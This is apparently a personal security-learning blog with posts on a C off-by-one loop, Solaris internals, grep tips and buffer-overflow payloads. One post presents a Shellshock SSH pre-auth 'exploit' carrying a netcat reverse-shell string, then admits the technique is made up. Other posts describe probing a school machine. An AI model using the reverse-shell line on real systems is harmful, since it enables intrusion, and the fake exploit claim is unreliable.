Bazz's Code Developments

Auditing the C ‘for’ loop

I am reading on Source Code Auditing in the Shellcoder’s Handbook ed. 1 — Off-by-One vulnerabilities. in SPARC’s big-endian systems, they are not a real threat according to the handbook. They are still part of my research and apply to little endian systems. Inside the book, I came  across  a vulnerable For loop that belonged to an old version of the OpenBSD ftp daemon, and it made me question my entire understanding of just the basic for loop. I created a C program to house the example and diagnose my understanding: p.s. original for loop is on pg. 393 1st edition.

#include <stdio.h>
#define MAXPATHLEN 4

int main (int argc, char **argv)
{
  char npath[MAXPATHLEN];
  int i;
  char *name = argv[1];
  for (i=0; *name != '\0' && i < sizeof(npath) - 1; i++,name++)
  {
    npath[i] = *name;
    if (*name == '"')
      npath[++i] = '"';
  }

  npath[i] = '\0';

  printf ("i = %d\n", i);
  printf ("npath = %s\n", npath);
  return 0;
}

here are some possible ways to execute the program:

$ ./a.out aa
i = 2
npath = aa
$ ./a.out aaa
i = 3
npath = aaa
$ ./a.out aa\"
i = 4
npath = aa""

The main lesson was to take the time to analyze, along with the following website: http://www.tutorialspoint.com/cprogramming/c_for_loop.htm

The most important lesson learned from the For loop is that the condition is checked first, the body is executed, and then the increment rule happens ALWAYS after that, without further checking. I did not realize this strict order for years. And that is why the vulnerability exists. I am sure many like me had used to look at the for loop and just think “these rules look right” all is well, but no when you take into the account this interesting sequencing of the increment.. I digress.

Random but helpful: in gdb, use n or next to step the next C line of code, and si for the raw asm stuff. There is more power than just that though, from http://www.cs.mcgill.ca/~consult/info/gdb.html:

Stepping:

 

stepi or si Execute one machine instruction (follows a call).
step or s Execute one C-program statement (steps into functions).
stepi N Do N machine instructions.
nexti or ni Same as si but execute calls as one instructions.
next or n Same as ni but execute functions as one statement.

Posted in buffer overflow, C

OS X After patching shellshock, Xquartz fails + sh: line 6: `BASH_FUNC_rvm_debug%%’: not a valid identifier

After patching my /bin/bash with https://shellshocker.net/ scripts, I noticed some odd things.

When I did an ssh -X, I would see this:

sh: line 6: `BASH_FUNC_rvm_debug%%': not a valid identifier

Then X would start up after performing an X app, and I would get this in XQuartz:

"failed to activate core devices"

Then, quartz would repeatedly try to start and fail. you may have checked your ~/Library/Logs/X11 to see a problem like “failed to compile keymap”

The solution is simple:

The problem arises from using ruby rvm. just do a

rvm get latest

and it will “get used to” the new bash and X will work again :)

Posted in Bash, OSX

Making Sense of Sun Blades and the UltraSPARC-IIe

Okies,

so if you haven’t heard, I am hacking the Sun Blade 150, it’s a machine at school they still run that’s 10 years old. Pathetic. But it’s a good challenge for me to conquer and learn about operating systems at the same time.

So, I was very easily confused and have finally sorted out many things. First of all, the computer in question had several references that it was a Sun Blade 100… You can see why I am off to a bad start..

I eventually determined that I would need my own replica of the machine (not virtualized, cause it looks like a Booty Face). So I went ahead thinking it was a Sun Blade 100 and started getting confused. Good thing I did my homework:

Queried the target machines processing speed:

bazz@blade72[pts/1][~] psrinfo -v
Status of processor 0 as of: 10/06/14 04:11:03
  Processor has been on-line since 03/16/13 13:50:49.
  The sparcv9 processor operates at 550 MHz,
        and has a sparcv9 floating point processor.
bazz@blade72[pts/1][~]

That lil’ command gave us some good info, but not everything. SPARCv9, 550MHz. OK.. what about cpu-arch? This next command gives us everything we want:

bazz@blade72[pts/1][~] kstat | grep -A 20 --text cpu_info
module: cpu_info                        instance: 0
name:   cpu_info0                       class:    misc
        chip_id                         0
        clock_MHz                       550
        cpu_type                        sparcv9
        crtime                          49.678984543
        device_ID                       0
        fpu_type                        sparcv9
        implementation                  UltraSPARC-IIe
        snaptime                        49127245.7381345
        state                           on-line
        state_begin                     1363456249

I also like to do

kstat | grep -a implementation

grep’s -a is the same as –text, as was used because grep complained the output was binary from kstat..

Here is where I got confused:

bazz@blade72[pts/1][~] uname -a
SunOS blade72 5.8 Generic_117350-51 sun4u sparc SUNW,Sun-Blade-100 Solaris

What’s that, Sun-Blade-100?? WTF? AH!! So the system Sun Blade 150 is based on the platform SUNW,Sun-Blade-100.. OK! This is confirmed by the fact that Blade 100’s cannot clock at 550MHz stock.

Another hint was given with the df -h command. Apparently Blade 100 cannot have > 20 GB hard drives, but target had a ~30GB HDD..

It’s not Over – Narrowing Down CPU Architecture

SPARCv9, ultraSPARC-IIe, cool. Looking through the manuals shows that the ultraSPARC-IIe is closely related to the ultraSPARC-IIi. I quote from the IIe userman: “Since the UltraSPARC IIe processor is very similar to the UltraSPARC IIi processor, the UltraSPARC IIi User’s Manual is a necessary companion to UltraSPARC IIe User’s Manual Supplement.. Normally, the UltraSPARC IIi User’s Manual is sufficient as a supplement.”

 

 

Posted in Sparc/Solaris

Kernel Arch. Solaris 7 vs. Solaris 8

I am reading the book Solaris Internals 1st edition where majority covers Solaris 7. I maintain this blog post as a place to show the differences I have found along the way.

 

Solaris 7 data structure for an address space object:

struct as {
        kmutex_t a_contents;    /* protect certain fields in the structure */
        uchar_t  a_flags;       /* as attributes */
        uchar_t a_vbits;        /* used for collecting statistics */
        kcondvar_t a_cv;        /* used by as_rangelock */
        struct  hat *a_hat;     /* hat structure */
        struct  hrmstat *a_hrm; /* ref and mod bits */
        caddr_t a_userlimit;    /* highest allowable address in this as */
        union {
                struct seg *seglast;    /* last segment hit on the addr space */
                ssl_spath *spath;       /* last search path in seg skiplist */
        } a_cache;
        krwlock_t a_lock;       /* protects fields below + a_cache */
        int     a_nwpage;       /* number of watched pages */
        struct watched_page *a_wpage;   /* list of watched pages (procfs) */
        seg_next a_segs;        /* segments in this address space. */
        size_t  a_size;         /* size of address space */
        struct  seg *a_tail;    /* last element in the segment list. */
        uint_t  a_nsegs;        /* number of elements in segment list */
        uchar_t a_lrep;         /* representation of a_segs: see #defines */
        uchar_t a_hilevel;      /* highest level in the a_segs skiplist */
        uchar_t a_unused;
        uchar_t a_updatedir;    /* mappings changed, rebuild as_objectdir */
        vnode_t **a_objectdir;  /* object directory (procfs) */
        size_t  a_sizedir;      /* size of object directory */
};

Solaris 8:

struct as {
        kmutex_t a_contents;    /* protect certain fields in the structure */
        uchar_t  a_flags;       /* as attributes */
        uchar_t a_vbits;        /* used for collecting statistics */
        kcondvar_t a_cv;        /* used by as_rangelock */
        struct  hat *a_hat;     /* hat structure */
        struct  hrmstat *a_hrm; /* ref and mod bits */
        caddr_t a_userlimit;    /* highest allowable address in this as */
        union {
                struct seg *seglast;    /* last segment hit on the addr space */
                ssl_spath *spath;       /* last search path in seg skiplist */
        } a_cache;
        krwlock_t a_lock;       /* protects fields below + a_cache */
        int     a_nwpage;       /* number of watched pages */
        struct watched_page *a_wpage;   /* list of watched pages (procfs) */
        seg_next a_segs;        /* segments in this address space. */
        size_t  a_size;         /* size of address space */
        struct  seg *a_tail;    /* last element in the segment list. */
        uint_t  a_nsegs;        /* number of elements in segment list */
        uchar_t a_lrep;         /* representation of a_segs: see #defines */
        uchar_t a_hilevel;      /* highest level in the a_segs skiplist */
        uchar_t a_unused;
        uchar_t a_updatedir;    /* mappings changed, rebuild as_objectdir */
        vnode_t **a_objectdir;  /* object directory (procfs) */
        size_t  a_sizedir;      /* size of object directory */
        struct as_callback *a_callbacks; /* callback list */
};

Looks we have an extra callback structure in Solaris 8. Wonder what this is all about?

/*
 * The as_callback is the basic structure which supports the ability to
 * inform clients of specific events pertaining to address space management.
 * An example of the need for this is a driver which has done long-term
 * locking of memory.  Address space management operations (events) such
 * as as_free, as_umap, and as_setprot will block indefinitely until the
 * pertinent memory is unlocked.  The callback mechanism provides the
 * way to inform the driver of the event so that the driver may do the
 * necessary unlocking.
 *
 * The contents of this structure is protected by a_contents lock
 */
typedef void (*callback_func_t)(struct as *, void *, uint_t);
struct as_callback {
        struct as_callback      *ascb_next;             /* list link */
        int                     ascb_refcnt;            /* reference count   */
        uint_t                  ascb_events;            /* event types */
        callback_func_t         ascb_func;              /* callback function */
        void                    *ascb_arg;              /* callback argument */
        caddr_t                 ascb_saddr;             /* start address */
        size_t                  ascb_len;               /* address range */
};
Posted in Sparc/Solaris

Grep Love + Less Love

Some grep things that I found handy:

man grep

Seriously. So yummy.

Some handy things that I’m using right now.

-A, -B, -C
print an arbitrary number of lines After, Before, or Before/After the matched string line. Super cool.

–no-filename, -h
Handy when you’re doing an grep -r but you expect 1 file to result. It can turn slop this like this:

bazz@blade72[pts/1][~] grep -r -C 10 "struct as {" /usr/include
/usr/include/vm/as.h- * operation.  Some segment drivers use the address space lock to protect
/usr/include/vm/as.h- * some or all of their segment private data, provided the version of
/usr/include/vm/as.h- * "a_lock" (read vs. write) is consistent with the use of the data.
/usr/include/vm/as.h- *
/usr/include/vm/as.h- * The following fields are protected by the hat layer lock:
/usr/include/vm/as.h- *
/usr/include/vm/as.h- * a_vbits
/usr/include/vm/as.h- * a_hat
/usr/include/vm/as.h- * a_hrm
/usr/include/vm/as.h- */
/usr/include/vm/as.h:struct as {
/usr/include/vm/as.h-   kmutex_t a_contents;    /* protect certain fields in the structure */
/usr/include/vm/as.h-   uchar_t  a_flags;       /* as attributes */
/usr/include/vm/as.h-   uchar_t a_vbits;        /* used for collecting statistics */
/usr/include/vm/as.h-   kcondvar_t a_cv;        /* used by as_rangelock */
/usr/include/vm/as.h-   struct  hat *a_hat;     /* hat structure */
/usr/include/vm/as.h-   struct  hrmstat *a_hrm; /* ref and mod bits */
/usr/include/vm/as.h-   caddr_t a_userlimit;    /* highest allowable address in this as */
/usr/include/vm/as.h-   union {
/usr/include/vm/as.h-           struct seg *seglast;    /* last segment hit on the addr space */
/usr/include/vm/as.h-           ssl_spath *spath;       /* last search path in seg skiplist */

into this

bazz@blade72[pts/1][~] grep -h -r -C 10 "struct as {" /usr/include
 * operation.  Some segment drivers use the address space lock to protect
 * some or all of their segment private data, provided the version of
 * "a_lock" (read vs. write) is consistent with the use of the data.
 *
 * The following fields are protected by the hat layer lock:
 *
 *      a_vbits
 *      a_hat
 *      a_hrm
 */
struct as {
        kmutex_t a_contents;    /* protect certain fields in the structure */
        uchar_t  a_flags;       /* as attributes */
        uchar_t a_vbits;        /* used for collecting statistics */
        kcondvar_t a_cv;        /* used by as_rangelock */
        struct  hat *a_hat;     /* hat structure */
        struct  hrmstat *a_hrm; /* ref and mod bits */
        caddr_t a_userlimit;    /* highest allowable address in this as */
        union {
                struct seg *seglast;    /* last segment hit on the addr space */
                ssl_spath *spath;       /* last search path in seg skiplist */

Ironically I think the first one looks better on the blog, but in the terminal, 2nd one is def preferred.

–with-filename, -H
forces inclusion of filename in result. In the case that you’re supporting grep that can find results for either one file itself and also more files (a flexible script), and you want to parse that grep result, you can use this to force consistency between the grep result for one file and for many files.

-n
Show line numbers

-r
recursive grep search. SUPER USEFUL

When I use -r -H -n together, grep gives a colon-delimeted grep output

filename:line#:matched-line

You can use cut to work with this. ie | cut -f2 -d: to grab the line#

Other important notes
environment variables can take results with newlines on them, it’s just that in order to process that you need to make sure you embed that $var inside quotes “$var” or it will be instead interpreted as all spaces for new lines.

tail +$linenum $filename | head -n $endlinenum | tee /tmp/struct

This in english: I want to print from line $linenum and only print $endlinenum lines. Send this output to a file /tmp/struct and to stdout.

Looking for the struct in /usr/include

[pts/3][~] grep -r "struct as {" /usr/include
/usr/include/vm/as.h:struct as {

Notice that we have here a colon delimited filename:line match
Although we did a recursive search we don’t expect to find more than 1 match.

I would really like to be able to query the whole struct, and here’s how I can do that:
this will find the file, and “less” it at the exact position of the struct.

Note: cool command while using less: the { and } keys will bring you to the matching end and beginning curly brace respectively. { -> goto matching end brace } -> goto matching beginning brace

Note: I just slapped this together and I’m willing to share but take note that my comments below are in-dev comments and may not even make sense or apply to you or the script at all. Nope not taking ’em out :P

#!/home/bazz/tools/bin/bash
# struct finder
# does not yet support multiple file search results
# example usage: ./derp /usr/include "struct as {"

if [ "$1" = "" ]; then
  echo "usage: `basename $0` [dir] [search-str]"
  exit 1
fi


# this needs to come out of var, into xargs invocation
grepline="`grep --with-filename -n -r \"$2\" \"$1\"`"
# /usr/include/vm/as.h:113:struct as {
#echo "$grepline"

wcount="`wc -l <<< \"$grepline\"`"
# wc puts whitespace into the output so we remove that
wc=${wcount//[[:blank:]]/}

#echo "$wc"
if [ "$wc" -gt "1" ]; then
  echo 'Be more specific'
  exit 2
fi
# xargs will invoke this downwards as a function
filename="`echo $grepline | cut -f1 -d:`"
linenum="`echo $grepline | cut -f2 -d:`"

less +$linenum $filename
exit 0


>&2 echo "filename = $filename"
>&2 echo "linenum = $linenum"
endlinenums="`tail +$linenum $filename | grep -n '};'`"
wordcount="`wc -w <<<$endlinenums`"
wc=${wordcount//[[:blank:]]/}
>&2 echo "$endlinenums"
>&2 echo "$wc"

for i in `seq 1 $wc`; do
  cur="`cut -f$i -d' ' <<<$endlinenums`"
  #echo "$cur"
  endlinenum="`cut -f1 -d: <<< $cur`"
  #echo $endlinenum
  #linediff=$(( endlinenum - linenum ))
  #echo "linediff = $linediff"
  tail +$linenum $filename | head -n $endlinenum | tee /tmp/struct
  >&2 printf "is that right? (y/n): "
  read -n1 yn
  echo
  if [ "$yn" == "y" ]; then
    echo 'saved in /tmp/struct'
    exit 0
  fi
done

echo 'we failed :('
exit 1

 

Posted in Sparc/Solaris

Protected: Learning Solaris Internals : Memory Paging

This content is password protected. To view it please enter your password below:

Posted in Sparc/Solaris

Protected: Finding all suid programs on Sparc machine leads to Pwnage

This content is password protected. To view it please enter your password below:

Posted in buffer overflow, C, Sparc/Solaris

Protected: Sparc Solaris Hacking Notes

This content is password protected. To view it please enter your password below:

Posted in Uncategorized

[POC] [Shellshock] Bash SSHD PreAuth Remote Exploit

The hype around the ShellShock bash exploit is circulating everywhere. Some have proven methods of:

However, most research suggests that the SSH daemon is only susceptible to the shell shock exploit AFTER a user has authenticated properly (post-auth).

However, if the environment variable is strung together in a certain way, the token can become registered earlier, during the pre-auth stage!! Below is a proof-of-concept (POC) demonstrating how to deliver the payload.

Delivering Payload

The payload cannot be sent simply through a command line argument. It needs to be sent raw thru TCP. The OpenSSH client software has to be modified:

Download openSSH-client source: 

Extract the source and edit auth-pam.c

Do a search for import_environments

line 313: Patch from

num_env = buffer_get_int(b);

to

num_env = buffer_get_int(b);
num_env++;

then a few lines below, change

for(i = 0; i < num_env; i++)
  sshpam_env[i] = buffer_get_string(b, NULL);

sshpam_env[num_env] = NULL;

to

for(i = 0; i < (num_env-1); i++)
  sshpam_env[i] = buffer_get_string(b, NULL);

sshpam_env[num_env-1] = "() { :; }; /bin/bash -c \"nc some_ip 65000 -e /bin/bash -i\"";
sshpam_env[num_env] = NULL;

The above example will cause SSHD to interpret the above as a part of its environment, executing a reverse shell (substitute some_ip with your reverse destination hostname DUH).

That’s it. Now, compile. to compile, you will need Zlib 1.1.4 or 1.2.1.2 or greater (ealier 1.2.x versions have problems):
http://www.gzip.org/zlib/

OpenSSL 0.9.6 or greater:
http://www.openssl.org/

$ ./configure && make

I’m just kidding. I made all that up. AHA

Tagged with: , , , , , , , , , , , , ,
Posted in Bash

Alternating Payload, Automated offset calculation/ID during Buffer Overflow Analysis

I designed this during my activity analyzing exploiting a sensitive buffer overflow on the SPARC architecture. It suits my needs, and I like publicizing to my blog posts. It makes backup of my data and knowledge base. So I like it. This will work on x86 too I think but I didn’t test it.

to view the raw hex output I do the following on the SPARC machine:

$ ./alternating_payload2 108 | od -A x -X
000000 01414141 01424242 01434343 01444444
000010 01454545 01464646 01474747 01484848
000020 01494949 014a4a4a 014b4b4b 014c4c4c
000030 014d4d4d 014e4e4e 014f4f4f 01505050
000040 01515151 01525252 01535353 01545454
000050 01555555 01565656 01575757 01585858
000060 01595959 015a5a5a 02414141
00006c
bazz@blade72[pts/3][~/tools/tmp/latest]

the -A specifies the addressing offsets to be in hex vs. the default octal. -X does 4-byte long hex sections.

Read more ›

Posted in buffer overflow
Skip to toolbar